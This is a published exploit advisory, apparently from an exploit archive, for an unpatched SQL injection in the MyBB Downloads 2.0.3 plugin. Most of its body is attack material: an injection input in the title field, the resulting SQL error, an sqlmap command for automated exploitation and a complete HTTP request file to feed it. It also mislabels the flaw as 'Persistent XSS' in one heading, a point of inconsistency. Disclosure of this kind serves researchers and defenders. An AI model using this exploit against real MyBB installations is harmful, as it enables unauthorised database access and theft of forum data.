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MyBB Downloads 2.0.3 - SQL Injection Vulnerability
# Exploit Title: MyBB Downloads 2.0.3 - SQL Injection # Exploit Author: Lucian Ioan Nitescu # Contact: https://twitter.com/LucianNitescu # Webiste: https://nitesculucian.github.io # Vendor Homepage: https://github.com/vintagedaddyo/MyBB_Plugin-Downloads # Software Link: https://github.com/vintagedaddyo/MyBB_Plugin-Downloads # Version: 2.0.3 # Tested on: Ubuntu 18.04 1. Description: It is a plugin which adds a page to download files. If enabled, regular members can add new downloads to the page after admin approval. 2. Proof of Concept: Persistent XSS - Go to downloads.php page - Create a New Download - Add the following to the title: a" - Now on submit, the user will be prompted to an SQL Injection specific error. ``` MyBB has experienced an internal SQL error and cannot continue. SQL Error: 1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"a""' at line 1 Query: SELECT * FROM mybb_downloads WHERE name="a"" ``` - THis can be exploited with: sqlmap -r request_file -p name --threads 5 3. Request File example: POST /downloads.php?newdownload=1 HTTP/1.1 Host: localhost:8081 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost:8081/downloads.php?newdownload=1 Content-Type: multipart/form-data; boundary=---------------------------171894060312075061251712806160 Content-Length: 1029 Cookie: mybb[lastvisit]=1540744980; mybb[lastactive]=1540745020; sid=677a58d33fe23e7f2ea3841c79496fcd; loginattempts=1; mybbuser=3_waeMfSMiIRrTpPqW2uy8ZF8AMx8pyRtMCUJ6Gx0yoGRyLBsBow Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 -----------------------------171894060312075061251712806160 Content-Disposition: form-data; name="my_post_key" 6cb47e578ed16aa5272c55b0cb8745b4 -----------------------------171894060312075061251712806160 Content-Disposition: form-data; name="name" a" -----------------------------171894060312075061251712806160 Content-Disposition: form-data; name="shortdesc" test -----------------------------171894060312075061251712806160 Content-Disposition: form-data; name="description" test -----------------------------171894060312075061251712806160 Content-Disposition: form-data; name="image" -----------------------------171894060312075061251712806160 Content-Disposition: form-data; name="url" 1 -----------------------------171894060312075061251712806160 Content-Disposition: form-data; name="numimages" 4 -----------------------------171894060312075061251712806160 Content-Disposition: form-data; name="submit" Publish download -----------------------------171894060312075061251712806160-- 3. Solution: There is no public available solution. # 0day.today [2024-09-28] #